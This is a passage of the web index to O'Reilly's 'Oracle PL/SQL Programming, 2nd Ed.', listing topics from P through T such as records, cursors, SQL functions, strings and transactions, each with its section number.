analyzing performance of : 25.1. Analyzing Program Performance
enabling tracing of : 26.1.1. Enabling Program Units for Tracing
pinning into SGA shared pool : 25.2.2. Pin Critical Code into the SGA
shared, executing : 23.1. Executing Stored Code
testing : 24.2.5. Change and Test One Area of Code at a Time
progress boxes : 22.6.3. Progress Box as ADT
progress package : 22.6.4.1. The progress package specification
propagation of exceptions : 8.4.2. Propagation of an Exception
properties, object : (see attributes, object)
privileges, object views : 20.7.2. Privileges
pseudoinstructions : 2.6. The PRAGMA Keyword
public
elements, package
16.2.1. The Specification
16.2.4. Public and Private Package Elements
global data : 16.5.3. Global Public Data
PURGE procedure : C.10.4. The PURGE procedure
PURGE_LOG procedure : C.13.3. The PURGE_LOG procedure
PURGE_LOST_DB procedure : C.15.16. The PURGE_LOST_DB procedure
PURGE_MIXED procedure : C.15.15. The PURGE_MIXED procedure
purity levels, packages : 17.5.1. The RESTRICT_REFERENCES Pragma
PUT procedure : C.17.1.8. The PUT procedure
PUT_LINE function : 23.1.2. Executing Functions
PUT_LINE procedure
C.9.7. The PUT_LINE procedure
C.17.1.10. The PUT_LINE procedure
PUTF procedure : C.17.1.9. The PUTF procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: Q

qualified identifiers : 15.3.5.1. Qualified identifiers
queries and correlated subqueries : 17.8.3. Replacing Correlated Subqueries
queue managing, with DBMS_JOB : (see DBMS_JOB)
queue, managing (example) : 6.13.2. Managing a Work Queue with SELECT FOR UPDATE
queuing, advanced : 1.4.7.2. Oracle/AQ, the Advanced Queueing Facility
queuing facility
C.3. Oracle AQ, the Advanced Queueing Facility
administration of : C.3.2. DBMS_AQADM (PL/SQL 8 Only)
quick-and-dirty tracing : 26.5. Quick-and-Dirty Tracing
quotation marks
2.3.1. Embedding Single Quotes Inside a String
11.1.10. The REPLACE function
embedding : 2.3.1. Embedding Single Quotes Inside a String
2.3.1. Embedding Single Quotes Inside a String

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: R

RAISE statement
8.5.1.2. Programmer raises ZERO_DIVIDE exception
8.10. RAISE Nothing but Exceptions
RAISE_APPLICATION_ERROR procedure
8.3.4. Unnamed Programmer-Defined Exceptions
8.7. Client-Server Error Communication
raising exceptions
(see also exceptions)
8.4.1.2. Raising exceptions in nested blocks
8.5. Raising an Exception
8.10. RAISE Nothing but Exceptions
range scheme, FOR loops : 7.3. The Numeric FOR Loop
RAW datatype
4.2.3.4. The RAW datatype
14.2.3. The HEXTORAW function
RAWTOHEX function : 14.2.4. The RAWTOHEX function
RDBMS language : 1.3.1. Improved Application Portability with PL/SQL
read consistency, stored functions and : 17.7.2. Read Consistency Model Complications
READ procedure : C.6.13. The READ procedure
read-committed isolation level : 6.1.4. The SET TRANSACTION Statement
read-only parameters : (see IN mode)
read-only transactions : 6.1.4. The SET TRANSACTION Statement
READ_ONLY procedure : C.15.7. The READ_ONLY procedure
READ_WRITE procedure : C.15.8. The READ_WRITE procedure
readability of code : 15.7.3. Improving Readability
readability, local modules for : 1.7.1. Write as Little Code as Possible
REAL subtype : 4.2.2. Numeric Subtypes
real-time production support : 26.2.1. Features of a Real-Time Support Mechanism
RECEIVE_MESSAGE function : C.10.5. The RECEIVE_MESSAGE function
records
(see also variables)
1.4.3.3. Programmer-defined records
1.7.1. Write as Little Code as Possible
4. Variables and Program Data
9. Records in PL/SQL
accessing data from : 9.1.2. Accessing Record-Based Data
child : 8.3.3.1. The EXCEPTION_INIT pragma
collections as components of : 19.2.2.2. Collections as components of a record
comparing : 9.1.6. Comparing Two Records
compatibility of : 9.6. Record Types and Record Compatibility
corresponding to cursors : 9.1.4. Guidelines for Using Records
cursor FOR loops : 7.4.2. The Cursor FOR Loop Record
cursor-based
(see also cursors)
9.3. Cursor-Based Records
declaring
9.2.1. Declaring Records with the %ROWTYPE Attribute
9.4.2. Declaring the Record
deleting
10.7. Clearing the PL/SQL Table
10.8.2.2. The DELETE procedure
fetching into : (see FETCH statement)
filling : 10.6. Filling the Rows of a PL/SQL Table
index-by tables of : 25.4.8. Use Index-By Tables of Records and Objects
initializing : 9.6.2. Record Initialization
locking : 6.11. SELECT FOR UPDATE in Cursors
manual : 9.6.1.1. Manual records
naming columns of : 9.3.2. Setting the Record's Column Names
nested : 9.7. Nested Records
as parameters : 9.1.4. Guidelines for Using Records
programmer-defined : 9.4. Programmer-Defined Records
referencing : 9.1.5. Referencing a Record and its Fields
setting to NULL : 9.6.1.3. Setting records to NULL
table-based : 9.2. Table-Based Records
in tables : 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3
referencing fields of : 10.8.1.1. Referencing fields of record elements in PL/SQL tables
recursion, mutual : (see forward declarations)
recursive object types : 18.3.5.1. Forward type definitions
recursive processing : 17.8.7. Recursive Processing in a SQL Statement
redundancy
avoiding in package bodies : 1.7.3. Center All Development Around Packages
local modules for : 1.7.1. Write as Little Code as Possible
REF CURSOR type
(see also cursor variables)
6.12.3. Declaring REF CURSOR Types and Cursor Variables
6.12.6.3. Cursor variable aliases
identifying : 6.12.7.1. Identifying the REF CURSOR type
REF keyword : 18.2.3. Adding Complex Data Structures
reference pointers : (see REFs)
references to host variables : 25.4.3.2. Minimize references to host variables
references to objects : (see REFs)
referencing
record fields in tables : 10.8.1.1. Referencing fields of record elements in PL/SQL tables
table rows : 10.5. Referencing and Modifying PL/SQL Table Rows
REFRESH procedure : C.13.4. The REFRESH procedure
REFRESH_ALL procedure : C.13.5. The REFRESH_ALL procedure
REFs (object references)
18.1.4.3. Inheritance
18.2.3. Adding Complex Data Structures
18.4.2.2. REFs
as collection elements : 19.2.1. Collections "In the Database"
DEREF operator and : 18.4.2.4. DEREF
object views and
20. Object Views
20.3.3. MAKE_REF: Returning a Virtual REF
20.4.2. Using REFs with Object Views
as operators : 18.4.2.2. REFs
as type modifiers : 18.4.2.2. REFs
REGISTER procedure : C.2.1. The REGISTER procedure
relational (=) operators : 2.1. The PL/SQL Character Set
Release 1.1, PL/SQL
1.4.8. PL/SQL Release 1.1
10.9.4.3. Features of the array package
Release 2.1, PL/SQL : 1.4.4. PL/SQL Release 2.1
new_add_months function : 12.2.1. Customizing the Behavior of ADD_MONTHS
overloaded modules : 15.8.4. Restrictions on Overloading
Release 2.2, PL/SQL : 1.4.5. PL/SQL Release 2.2
cursor variables : 6.12. Cursor Variables
Release 2.3, PL/SQL
1.4.6. PL/SQL Release 2.3
10.1.1. PL/SQL Tables
tables : 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3
RELEASE function : C.7.3. The RELEASE function
releasing record locks : 6.11.1. Releasing Locks with COMMIT
remainder function : 13.1.13. The MOD function
remote dependency
1.4.6.4. Improved remote dependency model
1.4.7.5. External procedures
remote procedure calls (RPCs) : B.2.3. No Direct Remote Procedure Calls
remote procedures
22.7.5. Default Values and Remote Procedure Calls
23.4. Remote Procedure Calls
REMOVE procedure
C.2.2. The REMOVE procedure
C.5.6. The REMOVE procedure
REMOVE_PIPE function : C.10.6. The REMOVE_PIPE function
REMOVEALL procedure : C.2.3. The REMOVEALL procedure
removing : (see deleting)
REPEAT UNTIL loop : 7.2.2. Emulating a REPEAT UNTIL Loop
repetitive code
(see redundancy)
15.7.1. Benefits of Local Modularization
REPLACE function
(see also TRANSLATE function)
4.3.3. Function Results with NULL Arguments
11.1.10. The REPLACE function
11.1.15. The TRANSLATE function
replacing characters in strings : 11.1.15. The TRANSLATE function
REQUEST function : C.7.4. The REQUEST function
reserved words
2.2.1. Reserved Words
3.1.2. Using Case to Aid Readability
RESET_BUFFER procedure : C.10.7. The RESET_BUFFER procedure
RESET_PACKAGE procedure : C.12.3. The RESET_PACKAGE procedure
RESTRICT_REFEFRENCES pragma : 17.3. Requirements for Stored Functions in SQL
RESTRICT_REFERENCES pragma : 17.5.1. The RESTRICT_REFERENCES Pragma
manual application of : 17.7.1. Manual Application of Pragmas
RETURN datatype : 15.5.2. The RETURN Datatype
RETURN statement
6.4.4. The Cursor RETURN Clause
7.7.2.3. RETURN statement
15.5.8. The RETURN Statement
cursor : 6.4. Declaring Cursors
in procedures : 15.5.8.5. RETURN statement in a procedure
overloaded functions : 15.8.4. Restrictions on Overloading
of package cursors : 16.3.2. Declaring Package Cursors
using single : 22.2.2. Use a Single RETURN Statement for Successful Termination
reusing code : 1.7.1. Write as Little Code as Possible
REVERSE keyword : 7.3.1. Rules for Numeric FOR Loops
rights models : 18.3.7.3. Rights model
RNDS purity code : 17.5.1. The RESTRICT_REFERENCES Pragma
RNPS purity code : 17.5.1. The RESTRICT_REFERENCES Pragma
ROLLBACK procedure : C.15.9. The ROLLBACK procedure
ROLLBACK statement
6.1.2. The ROLLBACK Statement
6.11.1. Releasing Locks with COMMIT
ROLLBACK TO statement : 6.1.2. The ROLLBACK Statement
ROLLBACK_FORCE procedure : C.15.10. The ROLLBACK_FORCE procedure
ROLLBACK_SAVEPOINT procedure : C.15.11. The ROLLBACK_SAVEPOINT procedure
ROUND function
12.1.6. The ROUND function
13.1.15. The ROUND function
rounding dates : 12.1.6. The ROUND function
row numbers, converting expressions to : 10.5.1. Automatic Conversion of Row Number Expressions
%ROWCOUNT cursor attribute : 6.9.3. The %ROWCOUNT Attribute
ROWID datatype : 4.2.3.6. The ROWID datatype
converting to/from : 14.2.1. The CHARTOROWID function
ROWID_BLOCK_NUMBER function : C.11.6. The ROWID_BLOCK_NUMBER function
ROWID_CREATE function : C.11.1. The ROWID_CREATE function
ROWID_INFO procedure : C.11.2. The ROWID_INFO procedure
ROWID_OBJECT function : C.11.4. The ROWID_OBJECT function
ROWID_RELATIVE_FNO function : C.11.5. The ROWID_RELATIVE_FNO function
ROWID_ROW_NUMBER function : C.11.7. The ROWID_ROW_NUMBER function
ROWID_TO_ABSOLUTE_FNO function : C.11.8. The ROWID_TO_ABSOLUTE_FNO function
ROWID_TO_EXTENDED function : C.11.9. The ROWID_TO_EXTENDED function
ROWID_TO_RESTRICTED function : C.11.10. The ROWID_TO_RESTRICTED function
ROWID_TYPE function : C.11.3. The ROWID_TYPE function
ROWID_VERIFY function : C.11.11. The ROWID_VERIFY function
ROWIDs, DBMS_ROWID package for : C.11. DBMS_ROWID (PL/SQL8 Only)
ROWIDTOCHAR function : 14.2.5. The ROWIDTOCHAR function
rows, table
(see also records)
9.1.1. Different Types of Records
data-smart numbers for : 10.9.2. Data-Smart Row Numbers in PL/SQL Tables
negative index : 10.2. Characteristics of PL/SQL Tables
objects for : 18.1.2. Some Simple Examples
referencing and modifying : 10.5. Referencing and Modifying PL/SQL Table Rows
%ROWTYPE attribute
1.7.2. Synchronize Program and Data Structures
9.2.1. Declaring Records with the %ROWTYPE Attribute
15.6.1.1. %TYPE and %ROWTYPE
in cursor declarations : (see cursors)
ROWTYPE_MISMATCH exception : 6.12.5.2. Handling the ROWTYPE_MISMATCH exception
RPAD function : 11.1.11. The RPAD function
RPCs (remote procedure calls) : 23.4. Remote Procedure Calls
RR format model : 14.3.3. RR: Changing Millenia
RTRIM function : 11.1.12. The RTRIM function
run authority
(see execute authority)
1.3.2. Improved Execution Authority and Transaction Integrity with PL/SQL
RUN procedure : C.5.7. The RUN procedure

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: S

SAVEPOINT procedure : C.15.12. The SAVEPOINT procedure
SAVEPOINT statement : 6.1.3. The SAVEPOINT Statement
savepoints
(see also ROLLBACK statement)
6.1.2. The ROLLBACK Statement
COMMIT statements and : 6.1.1. The COMMIT Statement
creating : 6.1.3. The SAVEPOINT Statement
saving virtual REFs : 20.4.3. Storage of Virtual REFs
scalar datatypes : (see datatypes)
scalar values and aggregates : 17.8.2. Combining Scalar and Aggregate Values
scale : 4.2.1.2. Decimal numeric datatypes
scheduling jobs
DBMS_JOB for
C.5. DBMS_ JOB
1.4.5.3. Job scheduling with DBMS_ JOB
schema evolution
object types and : 18.6.3. Schema Evolution
object views and
20. Object Views
20.6. Schema Evolution
scope
1.6.5. Scoping with nested blocks
2.7.2. Scope of a Block
15.3.4.2. Nested blocks provide scope
cursor : 15.3.5.4. Cursor scope
of cursor parameters : 6.10.3. Scope of Cursor Parameters
of cursor variables : 6.12.6.4. Scope of cursor object
of exceptions : 8.4.1. Scope of an Exception
of local modules : 15.7.5. Scope of Local Modules
of loops : 7.6.2. Loop Scope
nested blocks and : 15.3.5.2. Scope and nested blocks
second : (see date; time)
security
backups : (see backups)
encrypting code : 23.7. Encrypting Stored Code
SELECT COUNT(*) : 1.7.5. Structured Code and Other Best Practices
SELECT INTO statement : 9.5.2. SELECT INTO from an Implicit Cursor
select lists : 6.4.2. PL/SQL Variables in a Cursor
SELECT statement
assigning objects : 18.4.1.3. Assignment via FETCH (with SELECT)
in cursor declarations : 6.4. Declaring Cursors
cursors and : 6.2. Cursors in PL/SQL
SELECT FOR UPDATE statement
6.11. SELECT FOR UPDATE in Cursors
6.13.2. Managing a Work Queue with SELECT FOR UPDATE
SELECT INTO statement
initializing collections : 19.4.1.3. Initializing implicitly via fetch
THE function with : 19.5.1. The THE Pseudo-function
SELECT statements
(see also DML statements)
4.2.3.2. The VARCHAR2 and VARCHAR datatypes
9.1.5. Referencing a Record and its Fields
10.3. PL/SQL Tables and DML Statements
SELF object
18.1.2. Some Simple Examples
18.3.5. SELF: The Implied Parameter
IN mode for : 18.3.4.2. Dots in method invocations
semicolon (;) : 2.4. The Semicolon Delimiter
SEND_MESSAGE function : C.10.8. The SEND_MESSAGE function
sequential control structures : 5.2. Sequential Control Statements
formatting : 3.3. Formatting Control Structures
sequential processing : 17.8.6. Sequential Processing Against a Column's Value
serializable isolation level : 6.1.4. The SET TRANSACTION Statement
servers, PL/SQL integration with (example) : 19.7. Example: PL/SQL-to-Server Integration
session, user : 13.3.9. The USERENV function
SET clause, functions in : 17.1. Looking at the Problem
SET TRANSACTION statements : 6.1.4. The SET TRANSACTION Statement
SET_BLOCK_PROPERTY : 14.3.4. Using TO_CHAR to Create a Date Range
SET_DEFAULTS procedure : C.2.4. The SET_DEFAULTS procedure
SET_LABEL procedure : C.12.4. The SET_LABEL procedure
SET_MLS_LABEL procedure : C.12.5. The SET_NLS_LABEL procedure
SET_NLS procedure : C.12.6. The SET_NLS procedure
SET_ROLE procedure : C.12.7. The SET_ROLE procedure
SET_SQL_TRACE procedure : C.12.8. The SET_SQL_TRACE procedure
SET_UP procedure : C.13.6. The SET_UP procedure
SGA (System Global Area)
pinning critical code in : 25.2.2. Pin Critical Code into the SGA
tuning shared pool size : 25.2.1. Tune the Size of the Shared Pool of the SGA
shared
functions : 23.1.2. Executing Functions
procedures : 23.1.1. Executing Procedures
shared libraries
1.4.7.5. External procedures
for external procedures : 21.2.2. Step 2: Identify or Create the Shared Library
shared pool, SGA : 25.2.1. Tune the Size of the Shared Pool of the SGA
SIGN function : 13.1.16. The SIGN function
SIGNAL procedure : C.2.5. The SIGNAL procedure
signed numbers
4.2.1.1. Binary integer datatypes
4.2.1.3. The PLS_INTEGER datatype
simple loops
7.2. The Simple Loop
formatting : 3.3.2. Formatting Loops
SIN function : 13.1.17. The SIN function
SINH function : 13.1.18. The SINH function
size
database triggers : 25.3.7. Keep Database Triggers Small
encrypted code file size : 23.7.3. Impact of Encrypting Code
of PL/SQL code, analyzing : 23.6.3. Analyzing the Size of PL/SQL Code
SGA shared pool, tuning : 25.2.1. Tune the Size of the Shared Pool of the SGA
SLEEP procedure : C.7.5. The SLEEP procedure
SMALLINT subtype : 4.2.2. Numeric Subtypes
snapshots : C.13. DBMS_SNAPSHOT
SOUNDEX function : 11.1.13. The SOUNDEX function
source code : (see coding)
spaces : (see whitespace)
sparsity of tables
10.2. Characteristics of PL/SQL Tables
10.9.2. Data-Smart Row Numbers in PL/SQL Tables
specifcations, package : 1.7.3. Center All Development Around Packages
specification, package : (see packages, specification)
SQL
ALTER SESSION commands : C.12. DBMS_SESSION
calliong PL/SQL functions in : 25.3.2. Call PL/SQL Functions in SQL to Reduce I/O
client-side : 25.3.3. Avoid Client-Side SQL
DDL statements : (see DDL)
DML statements : (see DML statements)
dynamic
C.14. DBMS_SQL
1.4.4.2. Support for DDL and dynamic SQL
formatting statements : 3.2. Formatting SQL Statements
I/O-intensive : 25.3.6. Use PL/SQL to Improve Performance of IO-Intensive SQL
minimizing access to : 25.3.1. Use Package Data to Minimize SQL Access
PL/SQL in : (see stored functions, PL/SQL)
PL/SQL loops versus : 7.7.4. PL/SQL Loops Versus SQL Processing
statements, recursive processing in : 17.8.7. Recursive Processing in a SQL Statement
static vs. dynamic : 6.2.1. Types of Cursors
storing functions in : 1.4.4.1. Stored functions in SQL
viewing stored objects : 23.6. Using SQL to Examine Stored Objects
SQL %FOUND attribute : 6.9.5. Implicit SQL Cursor Attributes
SQL %ISOPEN attribute : 6.9.5. Implicit SQL Cursor Attributes
SQL %NOTFOUND attribute : 6.9.5. Implicit SQL Cursor Attributes
SQL %ROWCOUNT attribute : 6.9.5. Implicit SQL Cursor Attributes
SQL*Plus
managing stored objects : 23.5. Managing Stored Objects with SQL*Plus
viewing compilation errors : 23.5.4. Viewing Compilation Errors in SQL*Plus
SQL_TRACE utility : 25.1. Analyzing Program Performance
SQLCODE function
8.3.1. Named System Exceptions
8.6.3. Using SQLCODE and SQLERRM in WHEN OTHERS Clause
13.3.5. The SQLCODE function
SQLERRM function
8.6.3. Using SQLCODE and SQLERRM in WHEN OTHERS Clause
13.3.6. The SQLERRM function
SQRT function : 13.1.19. The SQRT function
standalone procedures
synonyms for : 23.2.2. Creating Synonyms for Stored Objects
STANDARD package : 8.3.1. Named System Exceptions
pinning in SGA shared pool : 25.2.2.1. Candidates for pinning in the shared pool
START_QUEUE procedure : C.3.2.6. The START_QUEUE procedure
static cursors : 6.2.1. Types of Cursors
static SQL : 6.2.1. Types of Cursors
status, module : 23.3. Module Validation and Dependency Management
STEP syntax : (see numeric FOR loops)
STEP_ID function : C.15.18. The STEP_ID function
STOP_QUEUE procedure : C.3.2.7. The STOP_QUEUE procedure
STORAGE_ERROR exception : 8.3.1. Named System Exceptions
store tables : 19.1. Types of Collections
stored
code, encrypting : 23.7. Encrypting Stored Code
functions, executing PL/SQL : 23.1.2. Executing Functions
modules/packages : 1.4.3.11. Stored procedures, functions, and packages
objects : 23. Managing Code in the Database
execute authority on : 23.2.1. Execute Authority on Stored Objects
interdependency of : 23.3.1. Interdependencies of Stored Objects
managing with SQL*Plus : 23.5. Managing Stored Objects with SQL*Plus
synonyms for : 23.2.2. Creating Synonyms for Stored Objects
viewing with SQL : 23.6. Using SQL to Examine Stored Objects
procedures, PL/SQL Version 1.1 : B. Calling Stored Procedures from PL/SQL Version 1.1
virtual REFs : 20.4.3. Storage of Virtual REFs
stored functions, PL/SQL
17.1. Looking at the Problem
17.7. Realities: Calling PL/SQL Functions in SQL
calling packaged functions : 17.5. Calling Packaged Functions in SQL
examples of : 17.8. Examples of Embedded PL/SQL
name precedence and : 17.6. Column/Function Name Precedence
package variable modification : 17.4. Restrictions on PL/SQL Functions in SQL
read consistency and : 17.7.2. Read Consistency Model Complications
requirements/restrictions : 17.3. Requirements for Stored Functions in SQL
strings
(see also literals)
2.3. Literals
adding characters to
11.1.11. The RPAD function
11.1.8. The LPAD function
case of
11.1.16. The UPPER function
11.1.4. The INITCAP function
11.1.7. The LOWER function
comparing
4.2.3.2. The VARCHAR2 and VARCHAR datatypes
11.1.13. The SOUNDEX function
concatenating : 11.1.3. The CONCAT function
converting
between character sets : 14.2.2. The CONVERT function
to/from dates
14.1. Conversion Formats
14.2.6. The TO_CHAR function (date conversion)
14.2.8. The TO_DATE function
hexadecimal : 14.2.3. The HEXTORAW function
to/from numbers
14.1.2. Number Format Models
14.2.7. The TO_CHAR function (number conversion)
14.2.9. The TO_NUMBER function
17.8.7. Recursive Processing in a SQL Statement
to row numbers : 10.5.1. Automatic Conversion of Row Number Expressions
datatypes for : 4.2.3. Character Datatypes
extracting characters from : 11.1.14. The SUBSTR function
finding substrings of : 11.1.5. The INSTR function
functions for : 11. Character Functions
justifying : 11.2.3. Filling Text to Fit a Line
length of : 11.1.6. The LENGTH function
parsing : 11.2.1. Parsing a Name
replacing characters in
11.1.10. The REPLACE function
11.1.15. The TRANSLATE function
searching for, in code : 23.6.4. Displaying and Searching Source Code
stripping characters from
11.1.12. The RTRIM function
11.1.9. The LTRIM function
variable-length : 4.2.3.2. The VARCHAR2 and VARCHAR datatypes
verifying format of : 11.2.5. Verifying String Formats with TRANSLATE
word wrap : 11.2.2. Implementing Word Wrap for Long Text
strong REF CURSOR type : (see cursor variables)
structure, code : 1.7.5. Structured Code and Other Best Practices
structure, data : (see data structures)
structured interface trace filtering : 26.4. Structured Interface Filtering
stub generation : B.1. Using Stubs to Talk to Server-Side PL/SQL
stubs : 5.2.2.3. Supporting top-down design of modules
style, coding : 1.7.4. Standardize Your PL/SQL Development Environment
subblocks : (see nested blocks; nested modules)
SUBMIT procedure : C.5.8. The SUBMIT procedure
subqueries, correlated : 17.8.3. Replacing Correlated Subqueries
SUBSTR function
C.6.14. The SUBSTR function
11.1.14. The SUBSTR function
for declaring long strings : 4.2.3.1. The CHAR datatype
substrings
counting occurrences of : 11.2.4. Counting Substring Occurrences in Strings
extracting from strings : 11.1.14. The SUBSTR function
finding : 11.1.5. The INSTR function
replacing
11.1.10. The REPLACE function
11.1.15. The TRANSLATE function
subtypes
1.4.4.4. Programmer-defined subtypes
4.6. Programmer-Defined Subtypes
suppressing zeros/spaces : 14.3.1. FM: Suppressing Blanks and Zeros
symbols
!= (not equals) : 2.1. The PL/SQL Character Set
% (percent sign) : 2.1. The PL/SQL Character Set
> (label delimeters) : 2.1. The PL/SQL Character Set
>= (greater than) : 2.1. The PL/SQL Character Set
<> (not equals) : 2.1. The PL/SQL Character Set
<= (less than) : 2.1. The PL/SQL Character Set
** (double asterisk) : 2.1. The PL/SQL Character Set
-- (comment indicator) : 2.1. The PL/SQL Character Set
/* and */ (comment block delimiters) : 2.1. The PL/SQL Character Set
; (semicolon) : 2.1. The PL/SQL Character Set
=> (associational operator for positional notation) : 2.1. The PL/SQL Character Set
\: (colon) : 2.1. The PL/SQL Character Set
_ (underscore) : 2.1. The PL/SQL Character Set
|| (concatenation) operator : 2.1. The PL/SQL Character Set
synchronization : 1.7.2. Synchronize Program and Data Structures
synchronization with columns : 4.5.1.1. Synchronization with database columns
synonyms for stored objects : 23.2.2. Creating Synonyms for Stored Objects
SYS_NC_OID$ column : 18.4.2.1. Object identifiers (OIDs)
SYS_NC_ROWINFO$ column : 18.4.2.1. Object identifiers (OIDs)
SYSDATE function : 12.1.7. The SYSDATE function
and NEW_TIME function : 12.2.2. Using NEW_TIME in Client-Server Environments
system
date : 12.1.7. The SYSDATE function
exceptions : 8.3.1. Named System Exceptions
System Global Area (SGA)
pinning critical code into : 25.2.2. Pin Critical Code into the SGA
tuning shared pool size : 25.2.1. Tune the Size of the Shared Pool of the SGA

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | Y | Z

Index: T

table locks
6.1.5. The LOCK TABLE Statement
COMMIT statements and : 6.1.1. The COMMIT Statement
TABLE pseudo-function : 19.5.4. The TABLE Pseudo-function
TABLE type : 15.6.1.1. %TYPE and %ROWTYPE
table-based records : 9.2. Table-Based Records
TABLE_TO_COMMA procedure : C.16.11. The TABLE_TO_COMMA procedure
tables
(see also arrays; variables)
(see also collections)
1.4.3.4. PL/SQL tables
4. Variables and Program Data
10. PL/SQL Tables
19.1. Types of Collections
abbreviations for : 3.2. Formatting SQL Statements
aliases for : 3.2. Formatting SQL Statements
building arrays with : 10.9.4. Building Traditional Arrays with PL/SQL Tables
clearing (deleting) : 10.7. Clearing the PL/SQL Table
combining scalars and aggregates : 17.8.2. Combining Scalar and Aggregate Values
declaring : 10.4. Declaring a PL/SQL Table
displaying : 10.9.3. Displaying a PL/SQL Table
and DML statements : 10.3. PL/SQL Tables and DML Statements
filling rows of : 10.6. Filling the Rows of a PL/SQL Table
index-by : (see index-by tables)
inner tables : 19.1. Types of Collections
names for : 1.7.5. Structured Code and Other Best Practices
nested
(see nested tables)
1.4.7.3. Variable arrays and nested tables
objects for : 18.1.2. Some Simple Examples
optimizing foreign key lookups : 10.9.5. Optimizing Foreign Key Lookups with PL/SQL Tables
outer tables : 19.1. Types of Collections
as parameters : 10.5.4. Passing PL/SQL Tables as Parameters
partitioned, ROWID datatype for : 4.2.3.6. The ROWID datatype
PL/SQL : (see index-by tables)
records in : 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3
referencing rows : 10.5. Referencing and Modifying PL/SQL Table Rows
Release 2.3 enhancements to : 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3
returned from functions : 10.8.1.1. Referencing fields of record elements in PL/SQL tables
row index
data-smart : 10.9.2. Data-Smart Row Numbers in PL/SQL Tables
negative : 10.2. Characteristics of PL/SQL Tables
store tables : 19.1. Types of Collections
table objects
retrieving : 18.4.2.3. VALUE
VARRAYs : (see VARRAYs)
virtual : 6.2. Cursors in PL/SQL
tabs : (see whitespace)
TAN function : 13.1.20. The TAN function
TANH function : 13.1.21. The TANH function
target labels : 5.2.1.2. Target labels and scope of GOTO
terminating loops prematurely : 7.7.2. The Proper Way to Say Goodbye
testing
code : 24.2.5. Change and Test One Area of Code at a Time
object equality : 18.3.6.2. Equality comparisons
testing programs : 2.5.2. Multiline Comment Syntax
text
datatypes : 4.2.3. Character Datatypes
debugging messages in packages : 24.2.9. Build Debugging Messages into Your Packages
justifying : 11.2.3. Filling Text to Fit a Line
word wrap : 11.2.2. Implementing Word Wrap for Long Text
THE pseudo-function
19.5.1. The THE Pseudo-function
19.5.4. The TABLE Pseudo-function
THEN keyword : (see IF statements; WHEN clause)
time
(see also date)
C.16.6. The GET_TIME function
12.1.1. The ADD_MONTHS function
12.1.4. The NEW_TIME function
system : 12.1.7. The SYSDATE function
zones
12.1.4. The NEW_TIME function
12.2.2. Using NEW_TIME in Client-Server Environments
time zone, retrieving (example) : 21.7.1. Example: Retrieving the Time Zone
TIMEOUT_ON_RESOURCE exception : 8.3.1. Named System Exceptions
TO_CHAR function : 14.2.6. The TO_CHAR function (date conversion)
and date ranges : 14.3.4. Using TO_CHAR to Create a Date Range
TO_DATE function : 14.2.8. The TO_DATE function
and FX modifier : 14.3.2. FX: Matching Formats Exactly
TO_NUMBER function
14.2.9. The TO_NUMBER function
25.4.2. Zen and the Art of PL/SQL Tuning
toggles, in packages : 1.7.3. Center All Development Around Packages
TOO_MANY_ROWS exception : 8.3.1. Named System Exceptions
tracing PL/SQL execution : 26. Tracing PL/SQL Execution
transaction integrity
1.3.2. Improved Execution Authority and Transaction Integrity with PL/SQL
23.2. Transaction Integrity and Execute Authority
TRANSACTION_BACKED_OUT exception : 8.3.1. Named System Exceptions
transactions : 6.1. Transaction Management
comments with : 6.1.1. The COMMIT Statement
DBMS_TRANSACTION package for : C.15. DBMS_TRANSACTION
read-only : 6.1.4. The SET TRANSACTION Statement
TRANSLATE function
11.1.15. The TRANSLATE function
11.2.5. Verifying String Formats with TRANSLATE
25.4.2. Zen and the Art of PL/SQL Tuning
trapping errors : (see exceptions)
triggers
dropping : 20.3.2. DROP: Dropping Views and Triggers
size of : 25.3.7. Keep Database Triggers Small
trigonometric functions : (see functions, numeric)
TRIM procedure
C.6.15. The TRIM procedure
19.6.8. TRIM [ (n ) ]
removing collection elements with : 19.4.3.3. ...And what about TRIM?
TRUE : (see Boolean literals)
TRUNC function
12.1.6. The ROUND function
12.1.8. The TRUNC function
13.1.22. The TRUNC function
truncating dates : 12.1.8. The TRUNC function
truncating numbers : 13.1.22. The TRUNC function
Trusted Oracle : About the Contents
tuning PL/SQL applications : 25. Tuning PL/SQL Applications
